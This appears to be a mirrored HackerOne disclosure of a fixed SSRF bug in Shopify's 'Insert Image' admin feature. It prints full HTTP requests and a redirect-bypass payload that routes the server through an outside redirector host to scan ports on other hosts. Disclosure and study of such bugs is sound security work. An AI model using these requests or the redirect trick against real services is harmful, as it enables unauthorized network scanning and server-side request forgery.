Skip to content
SSRF Disclosed report Intermediate

SSRF via 'Insert Image' feature of Products/Collections/Frontpage

alpha Follow

Originally disclosed on HackerOne

  • Triaged in 11 hours
  • Fixed in 7 days
  • Paid in 2 months
  • Disclosed after 2 months

Summary by the researcher

Insertion images via URL can be used to perform SSRF/XSPA attacks. For example, it is possible to scan arbitrary Internet hosts from Shopify's network or servers' loopback.

The report

Hi Security team,

I would like to report an another SSRF issue like my previous [bug 67377] (https://hackerone.com/reports/67377). The description, threats, risks, exploatations are the same.

The base request is the following

POST /admin/settings/files.json HTTP/1.1
Host: test-4925.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-CSRF-Token: F7cvLpquxqr+rFmnGVFhNEK6rV8njtebHikevxGlLJA=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://test-4925.myshopify.com/admin/collections/63278595
Content-Length: 67
Cookie: COOKIES

src=SOME_URL

If src uses schemes that are not http or https, or the another port then server responds with HTTP/1.1 422 Unprocessable Entity. At the same time we can bypass this filter using HTTP redirection trick below

POST /admin/settings/files.json HTTP/1.1
Host: test-4925.myshopify.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-CSRF-Token: F7cvLpquxqr+rFmnGVFhNEK6rV8njtebHikevxGlLJA=
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://test-4925.myshopify.com/admin/collections/63278595
Content-Length: 67
Cookie: COOKIES

src=http%3A%2F%2Fhettoteam.tk/r.php?r=http://hettoteam.tk:21

If the server returns HTTP/1.1 500 Internal Server Error then the port is opened and if the server returns HTTP/1.1 422 Unprocessable Entity then the port is closed.

Example of scanning ports for scanme.nmap.org host (TCP ports 1 - is closed, TCP port 22 - is opened): src=http%3A%2F%2Fhettoteam.tk/r.php?r=http://scanme.nmap.org:1: HTTP code is 422. src=http%3A%2F%2Fhettoteam.tk/r.php?r=http://scanme.nmap.org:22: HTTP code is 500

The network dump is in attachment.

Cheers, Denis.

The original report as published on HackerOne, by alpha. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A SSRF bug in Shopify. HackerOne made it public on 24 August 2015.

About SSRF

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by alpha

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.